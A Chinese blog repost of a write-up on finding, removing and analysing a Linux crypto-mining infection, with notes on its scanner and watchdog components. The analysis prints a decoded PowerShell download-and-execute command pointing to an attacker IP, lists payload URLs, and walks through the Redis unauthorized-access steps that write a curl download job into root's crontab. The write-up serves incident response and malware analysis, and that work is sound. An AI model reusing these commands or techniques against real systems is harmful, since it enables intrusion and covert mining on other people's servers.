linux服务器上的cad病毒,Linux挖矿病毒的清除与分析
原標題:Linux挖礦病毒的清除與分析
*本文原創作者:xuing,本文屬于FreeBuf原創獎勵計劃,未經許可禁止轉載
起因
舍友在宿舍喊著,這服務器好卡啊,難受啊!我調侃他是不是被挖礦了,top命令看一下CPU占用。
一看嚇一跳,一個叫做sysupdate的進程占據了絕大部分的CPU資源。CPU使用率接近100%。
看來被挖礦是坐實了。
清除過程 確定病因
這個病毒還不是算很變態,很多挖礦病毒,使用top命令都看不到挖礦程序的進程。
基本可以確定這個占據絕大部分cpu資源的進程sysupdate,就是挖礦程序了,我們需要先找到他。
使用命令:
ps -aux | grep sysupdate
查看病毒的PID號。
為了獲取絕對路徑,使用:
ls -l /proc/{pid號}/exe
發現sysupdate的絕對路徑在/etc/sysupdate。
下載下來,上傳到VirusTotal。
如圖所示,就是他,挖礦病毒沒跑了。
開始清除
首先干掉進程:kill -9 {pid號}
直接rm -f sysupdate會提示類似:
rm: cannot remove 'sysupdate ': Operation not permitted
基于經驗,應該是病毒使用了chattr +i的命令。我們只要先執行chattr -i sysupdate,然后就可以正常刪除了。
復發
然后..很快就又被創建出來了。應該是有守護進程什么的。
而且如果我們簡單分析一下sysupdate,其實他并不是病毒,他只是個XMR挖礦程序。
(懂我意思吧,我們必須得找到他爸爸)。
分析的方法,可以通過findStr、IDA等工具提串或者..運行一下就明白了。下圖是我虛擬機運行的截圖。
好,我知道大家都不關心這個。
定時任務
我是先去看了下日志..發現什么都沒有Orz,應該是被清了。
那還是先來檢查下定時任務吧:
crontab -l或者cat /var/spool/cron/root
還可以去查看定時任務的日志。
more /var/log/cron log
太多的話,可以在后面加上| grep -v {要排除的關鍵字}來排除無用信息。
update.sh分析
找到了這個定時執行的源頭,我們來簡單分析一下。update.sh的內容和相關樣本在文末有提供下載。
在/etc下下載了config.json(挖礦配置)、sysupdate(XMR挖礦軟件)、update.sh(本腳本)、networkservice(scanner 掃描并入侵其他的主機)、sysguard(watchdog 用于監控并保證病毒的正常運行以及更新)并保證他們以root權限運行。
干掉別的挖礦病毒(見kill_miner_proc函數)。
創建/root/.ssh/authorized_keys,添加病毒作者自己的公鑰,保證其可以使用SSH登錄到服務器,算是個后門吧。
然后就是添加定時任務,為文件添加chattr +i,修改IPTABLES,清楚日志,關閉SELinux等等。
修復
1.rm /var/spool/cron/root或者 crontab -r刪除定時任務。
2.kill命令將相關進程干掉,用chattr -i和rm命令,將上述/etc下的文件全部刪除。
3./root/.ssh/authorized_keys也刪掉或者修復。
至于IPTABLES、SELinux的恢復,就看大家自己的需求了。
樣本分析:networkservice文件的分析 分析準備
查殼是UPX,直接使用upx -d就能脫殼了。
IDA打開發現結構很亂,Shift+F8打開Program Segmentation。
看到.gopclntab,基本就可以確定是golang編寫的。我們這里使用IDAGolangHelper來幫助恢復符號信息。
從Github下載下來后,將腳本拷貝到IDA目錄的python文件夾下,重啟IDA,菜單選擇File- Command..導入go_entry.py并運行。
PS:這里IDA7.0可能會遇到idc_bc695.py文件的MakeStr報錯,這里給出看雪的解決辦法。
如圖所示,前兩個按鈕是用于檢測Go語言的版本,輸出在Output window內。我們這里選擇Go1.10。然后按下剩下全部按鈕進行修復~
再次看Functions window就舒服多了。不過字符串還是看著非常非常難受,因為Golang的字符串是堆成一坨的,用的時候通過偏移以及長度取。IDA沒法很好的識別,只能自己從偏移處選定指定長度再按下A鍵進行標注。如果大佬們有更好的方式或者腳本,請務必賜教。
功能分析
我們接下來就可以從main_main函數開始看,整個程序的大概流程。
1.首先會去hxxps://pixeldra.in/api/download/I9RRye下載ips_cn.txt并保存為dkelc。
2.ips_cn.txt的內容實際上就是大量的國內ip段的十進制表示,為之后的掃描入侵做準備。
程序內包含了大量的exploit。基本都是RCE即遠程命令執行,下表做了部分列舉:
Redis未授權RCE Hadoop未授權RCE Drupal CVE-2018-7600 ElasticSearch CVE-2015-1427ElasticSearch CVE-2014-3120Redis爆破模塊Spring CVE-2018-1273Sqlserver Exploit模塊ThinkPHP5 RCEWeblogic CVE-2017-10271
以Redis未授權漏洞為例作分析,首先會去嘗試空口令和弱口令爆破,如果成功連接。
首先設置Redis的stop-writes-on-bgsave-error為no。執行Redis命令FlushAll清空數據表。
設置dbfilename為Root,即設置持久化文件名為root,對應的Redis命令為:
config set dbfilename root
緊接著設置dir到定時任務目錄/var/spool/cron,對應Redis命令為
config set dir "/var/spool/cron"
執行完上面的命令后,Redis之后的數據就會保存到/var/spool/cron/root,即Root用戶的定時任務文件里。
緊接著拼接curl下載并執行遠程shell的語句,并調用Save寫入文件中。
sysguard
作者叫他是Watchdog,主要功能就是監控自己的各程序,定時任務等是否啟動正常。不知道和網上的watchdogs挖礦病毒有沒有聯系。
在分析過程中,發現不僅僅有Linux版,還有Windows版。
對于windows,會去執行下面的命令:
powershell-windowstylehidden-nop-encaQBlAHgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADQAMwAuADIANAA1AC4AMgAyADIALgA1ADcAOgA4ADYANgA3AC8ANgBIAHEASgBCADAAUwBQAFEAcQBiAEYAYgBIAEoARAAvAHUAcABkAGEAdABlAC4AcABzADEAJwApAA==
base64解密為:
iex(New-Object Net.WebClient).DownloadString('http://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.ps1')
即下載執行update.ps1,沒什么新意,火絨就可以查殺攔截:
windows版的下載地址如下,因為是Go語言編寫的,其實內容都是大同小異的:
hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysupdate.exe hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/sysguard.exe hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/networkservice.exe hxxp://43.245.222.57:8667/6HqJB0SPQqbFbHJD/update.ps1 樣本下載 https://github.com/xuing/hello-world/blob/master/%E6%8C%96%E7%9F%BFlinux_sysupdate.zip
*本文原創作者:xuing,本文屬于FreeBuf原創獎勵計劃,未經許可禁止轉載返回搜狐,查看更多
責任編輯:
總結
以上是生活随笔為你收集整理的linux服务器上的cad病毒,Linux挖矿病毒的清除与分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: aop日志 android,ASM实现A
- 下一篇: 整理JRE瘦身或精简JRE